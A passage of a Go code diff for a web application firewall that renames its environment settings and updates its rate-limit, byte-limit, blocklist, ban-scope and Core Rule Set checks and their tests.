map[string]string{banScopeV4Prefix: "24"}, client,
|
||||
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
||||
},
|
||||
@@ -213,7 +213,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
||||
},
|
||||
{
|
||||
"the IPv6 netblock SWW_WAF_IPV6_GROUP_PREFIX sets",
|
||||
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
|
||||
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
||||
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
||||
},
|
||||
@@ -256,7 +256,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
||||
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
banScopeV4Prefix: "24",
|
||||
tagDeny: denyKP,
|
||||
@@ -303,10 +303,10 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
|
||||
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string // "" leaves SWW_WAF_BAN_RESPONSE at its default
|
||||
setting string // "" leaves SWW_BAN_RESPONSE at its default
|
||||
status int // 0 is the connection closed without an answer
|
||||
}{
|
||||
{"", http.StatusForbidden},
|
||||
@@ -319,7 +319,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
env := map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
@@ -345,7 +345,7 @@ func TestBanNotes(t *testing.T) {
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
+29
-34
@@ -17,15 +17,14 @@ type percentage struct {
|
||||
}
|
||||
|
||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
|
||||
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
|
||||
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// then needed before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
||||
len(cfg.CountryBytesLimitPercent) > 0 ||
|
||||
cfg.UnknownCountryLimitPercent < whole ||
|
||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||
return len(cfg.ASNBytesPercent) > 0 ||
|
||||
len(cfg.CountryBytesPercent) > 0 ||
|
||||
cfg.UnknownLimitPercent < whole ||
|
||||
cfg.ASNLimitPercentURL != ""
|
||||
}
|
||||
|
||||
@@ -34,17 +33,17 @@ func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
||||
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
||||
// it, the first of them in the order below when several are lowest: the
|
||||
// percentage SWW_WAF_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||
// other tags, for a client without a country, unless its request skipped
|
||||
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist
|
||||
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
|
||||
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
|
||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For
|
||||
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
|
||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for
|
||||
// an AS number or a country they list.
|
||||
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
|
||||
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
|
||||
// take the place of the first three for an AS number or a country they
|
||||
// list.
|
||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
cfg := rq.h.config
|
||||
asn, country := rq.line.ASN, rq.line.Country
|
||||
@@ -52,34 +51,34 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
unknown := percentage{percent: whole}
|
||||
if country == "" && !rq.skippedLookupWait {
|
||||
unknown = percentage{
|
||||
cfg.UnknownCountryLimitPercent,
|
||||
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
|
||||
cfg.UnknownLimitPercent,
|
||||
"SWW_UNKNOWN_LIMIT_PERCENT",
|
||||
}
|
||||
}
|
||||
|
||||
fetched := percentage{percent: whole}
|
||||
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
||||
fetched = percentage{percent, "SWW_WAF_ASN_LIMIT_PERCENT_URL"}
|
||||
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
|
||||
}
|
||||
|
||||
blocklisted := percentage{percent: whole}
|
||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||
blocklisted = percentage{
|
||||
cfg.BlocklistLimitPercent,
|
||||
"SWW_WAF_BLOCKLIST_ACTION",
|
||||
"SWW_BLOCKLIST_ACTION",
|
||||
}
|
||||
}
|
||||
|
||||
reputationListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
||||
cfg.DNSBLAbuseIPDBAction == "limit" {
|
||||
cfg.ReputationAction == "limit" {
|
||||
reputationListed = percentage{
|
||||
cfg.DNSBLAbuseIPDBLimitPercent,
|
||||
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
||||
cfg.ReputationLimitPercent,
|
||||
"SWW_REPUTATION_ACTION",
|
||||
}
|
||||
}
|
||||
|
||||
const tagSetting = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
||||
|
||||
asnRequests := lowest(
|
||||
given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
|
||||
@@ -103,19 +102,15 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
}
|
||||
|
||||
asnBytes, countryBytes := asnRequests, countryRequests
|
||||
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed {
|
||||
asnBytes = given(
|
||||
cfg.ASNBytesLimitPercent,
|
||||
asn,
|
||||
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
|
||||
)
|
||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
if _, listed := cfg.CountryBytesLimitPercent[country]; listed {
|
||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||
countryBytes = given(
|
||||
cfg.CountryBytesLimitPercent,
|
||||
cfg.CountryBytesPercent,
|
||||
country,
|
||||
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
|
||||
"SWW_COUNTRY_BYTES_PERCENT",
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
+39
-53
@@ -8,7 +8,6 @@ import (
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
@@ -23,10 +22,10 @@ import (
|
||||
|
||||
// The biased thresholds.
|
||||
const (
|
||||
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT"
|
||||
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT"
|
||||
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT"
|
||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -35,7 +34,7 @@ const (
|
||||
asnDEHalf = asnDE + ":50"
|
||||
asnDEQuarter = asnDE + ":25"
|
||||
countryDEHalf = "de:50"
|
||||
// The same, as SWW_WAF_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||
asnTagDEHalf = "asn=64496:50"
|
||||
asnTagDEQuarter = "asn=64496:25"
|
||||
countryTagDEHalf = "country=DE:50"
|
||||
@@ -61,7 +60,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, countryTagDEHalf, fromDE},
|
||||
{unknownCountryLimitPercent, "50", unplaced},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -109,9 +108,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, "Country=de:50", fromDE},
|
||||
{unknownCountryLimitPercent, "50", unplaced},
|
||||
{asnBytesLimitPercent, "as64496:50", fromDE},
|
||||
{countryBytesLimitPercent, countryDEHalf, fromDE},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
{asnBytesPercent, "as64496:50", fromDE},
|
||||
{countryBytesPercent, countryDEHalf, fromDE},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -150,7 +149,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -164,28 +163,22 @@ func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
}{
|
||||
{
|
||||
"lowering the byte limits alone",
|
||||
map[string]string{asnBytesLimitPercent: asnDEHalf},
|
||||
none, "50 from " + asnBytesLimitPercent, minuteBytes,
|
||||
map[string]string{asnBytesPercent: asnDEHalf},
|
||||
none, "50 from " + asnBytesPercent, minuteBytes,
|
||||
},
|
||||
{
|
||||
"lowering the byte limits alone, by country",
|
||||
map[string]string{countryBytesLimitPercent: countryDEHalf},
|
||||
none, "50 from " + countryBytesLimitPercent, minuteBytes,
|
||||
map[string]string{countryBytesPercent: countryDEHalf},
|
||||
none, "50 from " + countryBytesPercent, minuteBytes,
|
||||
},
|
||||
{
|
||||
"raising the byte limits back",
|
||||
map[string]string{
|
||||
tagLimitPercent: asnTagDEHalf,
|
||||
asnBytesLimitPercent: asnDE + ":100",
|
||||
},
|
||||
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
},
|
||||
{
|
||||
"raising the byte limits back, by country",
|
||||
map[string]string{
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
countryBytesLimitPercent: "de:100",
|
||||
},
|
||||
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
},
|
||||
} {
|
||||
@@ -221,7 +214,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
||||
|
||||
s, _, _ := startWithLookups(
|
||||
t,
|
||||
map[string]string{unknownCountryLimitPercent: "0"},
|
||||
map[string]string{unknownLimitPercent: "0"},
|
||||
)
|
||||
|
||||
// The first request breaks the limit, and bans the client; the log line
|
||||
@@ -232,12 +225,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
||||
requestlog.ActionClientIsRateLimited,
|
||||
)
|
||||
if line.fields["rate_limit_percent"] != float64(0) ||
|
||||
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent {
|
||||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
||||
t.Errorf(
|
||||
"log line has rate_limit_percent %v from %v, want 0 from %s",
|
||||
line.fields["rate_limit_percent"],
|
||||
line.fields["rate_limit_percent_setting"],
|
||||
unknownCountryLimitPercent,
|
||||
unknownLimitPercent,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -271,11 +264,11 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
},
|
||||
{
|
||||
"that for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"},
|
||||
noCountry, "25 from " + unknownCountryLimitPercent,
|
||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
|
||||
noCountry, "25 from " + unknownLimitPercent,
|
||||
},
|
||||
{
|
||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100.
|
||||
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||
"the AS number's, for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||
noCountry, "25 from " + tagLimitPercent,
|
||||
@@ -303,13 +296,13 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50",
|
||||
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
|
||||
})
|
||||
|
||||
// One the lookup database does not hold, and one on a private address,
|
||||
@@ -330,17 +323,14 @@ func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
||||
// a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{unknownCountryLimitPercent: "0"})
|
||||
map[string]string{unknownLimitPercent: "0"})
|
||||
|
||||
// Once the time the request waits for its answer is up, the client
|
||||
// counts as without a country, and its zero allowance refuses the
|
||||
@@ -356,7 +346,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||
)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
"0 from "+unknownCountryLimitPercent)
|
||||
"0 from "+unknownLimitPercent)
|
||||
})
|
||||
}
|
||||
|
||||
@@ -375,26 +365,22 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
// A tag the lookup does not give needs no answer.
|
||||
{tagLimitPercent, "vpn:50", false},
|
||||
{tagDeny, "vpn", false},
|
||||
{asnBytesLimitPercent, asnDEHalf, true},
|
||||
{countryBytesLimitPercent, countryDEHalf, true},
|
||||
{unknownCountryLimitPercent, "99", true},
|
||||
{asnBytesPercent, asnDEHalf, true},
|
||||
{countryBytesPercent, countryDEHalf, true},
|
||||
{unknownLimitPercent, "99", true},
|
||||
{asnLimitPercentURL, asnURL, true},
|
||||
// At 100, its default, it lowers no limit.
|
||||
{unknownCountryLimitPercent, "100", false},
|
||||
{unknownLimitPercent, "100", false},
|
||||
} {
|
||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// with a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
asnAndCountryLookupTimeout: strconv.FormatInt(
|
||||
timeout.Milliseconds(), 10),
|
||||
tagLists: "vpn=" + vpnList,
|
||||
tc.setting: tc.value,
|
||||
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
||||
})
|
||||
began := time.Now()
|
||||
|
||||
@@ -463,10 +449,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
||||
"a byte limit",
|
||||
map[string]string{
|
||||
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
||||
asnBytesLimitPercent: asnDEHalf,
|
||||
asnBytesPercent: asnDEHalf,
|
||||
},
|
||||
0, http.StatusOK, requestlog.ActionForward,
|
||||
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent,
|
||||
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -606,7 +592,7 @@ func wantPercent(
|
||||
}
|
||||
|
||||
// percentText gives a limit percentage and the setting that gave it as
|
||||
// text, such as "50 from SWW_WAF_TAG_LIMIT_PERCENT", or none when both are
|
||||
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
|
||||
// left out.
|
||||
func percentText(percent *int64, setting string) string {
|
||||
switch {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package waf
|
||||
|
||||
// The heuristic blocklists. It reads SWW_WAF_BLOCKLIST_ACTION, and the blocklists
|
||||
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
||||
// through the reputation lists.
|
||||
|
||||
import (
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
)
|
||||
|
||||
// blocklists notes the blocklists that list the client, as noteListed does,
|
||||
// and refuses the request when SWW_WAF_BLOCKLIST_ACTION is deny. Being limit, it
|
||||
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
|
||||
// lowers the client's limits instead (see limitPercentages), and being log, it
|
||||
// does nothing more. Its figure is the blocklists that list the client.
|
||||
type blocklists struct{}
|
||||
@@ -39,7 +39,7 @@ func (blocklists) check(
|
||||
|
||||
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
||||
// client, given listedBy, the blocklists that list it: it does when one lists
|
||||
// it and SWW_WAF_BLOCKLIST_ACTION is deny.
|
||||
// it and SWW_BLOCKLIST_ACTION is deny.
|
||||
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
||||
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
package waf
|
||||
|
||||
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits
|
||||
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
||||
// and biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
|
||||
@@ -19,13 +19,13 @@ import (
|
||||
|
||||
// The byte limit settings.
|
||||
const (
|
||||
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
||||
bytesCounted = "SWW_WAF_BYTES_COUNTED"
|
||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_BYTES_COUNT"
|
||||
)
|
||||
|
||||
// The values of SWW_WAF_BYTES_COUNTED.
|
||||
// The values of SWW_BYTES_COUNT.
|
||||
const (
|
||||
countResponse = "response"
|
||||
countRequest = "request"
|
||||
@@ -40,7 +40,7 @@ const (
|
||||
// byteLimit is the byte limit these tests set, as a setting: a request
|
||||
// with a body and its answer, 100 bytes, go over it.
|
||||
byteLimit = "99"
|
||||
// minuteBytes is limit_hit for SWW_WAF_BYTES_LIMIT_PER_MINUTE.
|
||||
// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
|
||||
minuteBytes = "minute_bytes"
|
||||
)
|
||||
|
||||
@@ -212,7 +212,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
t,
|
||||
answerAfterUpgrade,
|
||||
map[string]string{
|
||||
bytesLimitPerMinute: "29", bytesCounted: tc.setting,
|
||||
bytesLimitPerMinute: "29", bytesCount: tc.setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
|
||||
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -257,7 +257,7 @@ func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting,
|
||||
bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
|
||||
})
|
||||
|
||||
for i := 1; i <= tc.breaking; i++ {
|
||||
@@ -296,8 +296,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
|
||||
@@ -43,7 +43,7 @@ func scheme(r *http.Request, isQuestion bool) string {
|
||||
|
||||
// clientGroup is the client a request is counted toward: its IPv4
|
||||
// address, or its IPv6 group, the netblock its IPv6 address is in of the
|
||||
// length SWW_WAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||
// length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
||||
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
|
||||
addr = addr.Unmap()
|
||||
|
||||
+21
-22
@@ -1,7 +1,7 @@
|
||||
package waf
|
||||
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
|
||||
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
||||
// and SWW_WAF_ANOMALY_THRESHOLD.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -14,13 +14,13 @@ import (
|
||||
)
|
||||
|
||||
// coreRuleSet inspects the request with the Core Rule Set, unless
|
||||
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||
// exempts its path, as pathExempt decides, and notes the rules it matched and
|
||||
// its score in the log line, and the rules in the metrics. A score at or over
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD is a match: it adds the tag
|
||||
// exploitsignature, raises the core_rule_set_match alert, and in block mode
|
||||
// refuses the request with 403, which is an offence its client's history
|
||||
// counts. Its figures are the score and the threshold.
|
||||
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
|
||||
// pathExempt decides, and notes the rules it matched and its score in the
|
||||
// log line, and the rules in the metrics. A score at or over
|
||||
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
|
||||
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
|
||||
// which is an offence its client's history counts. Its figures are the score
|
||||
// and the threshold.
|
||||
type coreRuleSet struct{}
|
||||
|
||||
func (coreRuleSet) name() string { return "core_rule_set" }
|
||||
@@ -31,8 +31,8 @@ func (coreRuleSet) check(
|
||||
_ time.Time,
|
||||
) *verdict {
|
||||
cfg := rq.h.config
|
||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff ||
|
||||
pathExempt(rq.in, cfg.CoreRuleSetExemptPaths) {
|
||||
if cfg.WAFMode == config.WAFModeOff ||
|
||||
pathExempt(rq.in, cfg.WAFExemptPaths) {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -50,10 +50,10 @@ func (coreRuleSet) check(
|
||||
rq.line.CoreRuleSetScore = &result.Score
|
||||
|
||||
for _, id := range result.RuleIDs {
|
||||
rq.h.metrics.CoreRuleSetMatched(cfg.CoreRuleSetMode, id)
|
||||
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
|
||||
}
|
||||
|
||||
threshold := cfg.CoreRuleSetScoreThreshold
|
||||
threshold := cfg.WAFAnomalyThreshold
|
||||
if threshold == 0 || result.Score < threshold {
|
||||
return nil
|
||||
}
|
||||
@@ -61,7 +61,7 @@ func (coreRuleSet) check(
|
||||
rq.addTag(config.ExploitSignatureTag)
|
||||
rq.alertCoreRuleSetMatch(result)
|
||||
|
||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeDetect {
|
||||
if cfg.WAFMode == config.WAFModeDetect {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -77,10 +77,10 @@ func (coreRuleSet) check(
|
||||
}
|
||||
|
||||
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
||||
// which the Core Rule Set scored at result, at or over
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. Its detail gives the rule ids, the
|
||||
// score, the method and the path with the query, and, for a request that is
|
||||
// not refused for it, the mode: detect, or observe in observe mode.
|
||||
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
|
||||
// detail gives the rule ids, the score, the method and the path with the
|
||||
// query, and, for a request that is not refused for it, the mode: detect,
|
||||
// or observe in observe mode.
|
||||
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
detail := map[string]any{
|
||||
"rule_ids": result.RuleIDs,
|
||||
@@ -90,8 +90,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
}
|
||||
|
||||
switch {
|
||||
case rq.h.config.CoreRuleSetMode == config.CoreRuleSetModeDetect:
|
||||
detail["mode"] = config.CoreRuleSetModeDetect
|
||||
case rq.h.config.WAFMode == config.WAFModeDetect:
|
||||
detail["mode"] = config.WAFModeDetect
|
||||
case rq.h.config.Observe:
|
||||
detail["mode"] = "observe"
|
||||
}
|
||||
@@ -104,8 +104,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reason: "scored by the Core Rule Set at or over " +
|
||||
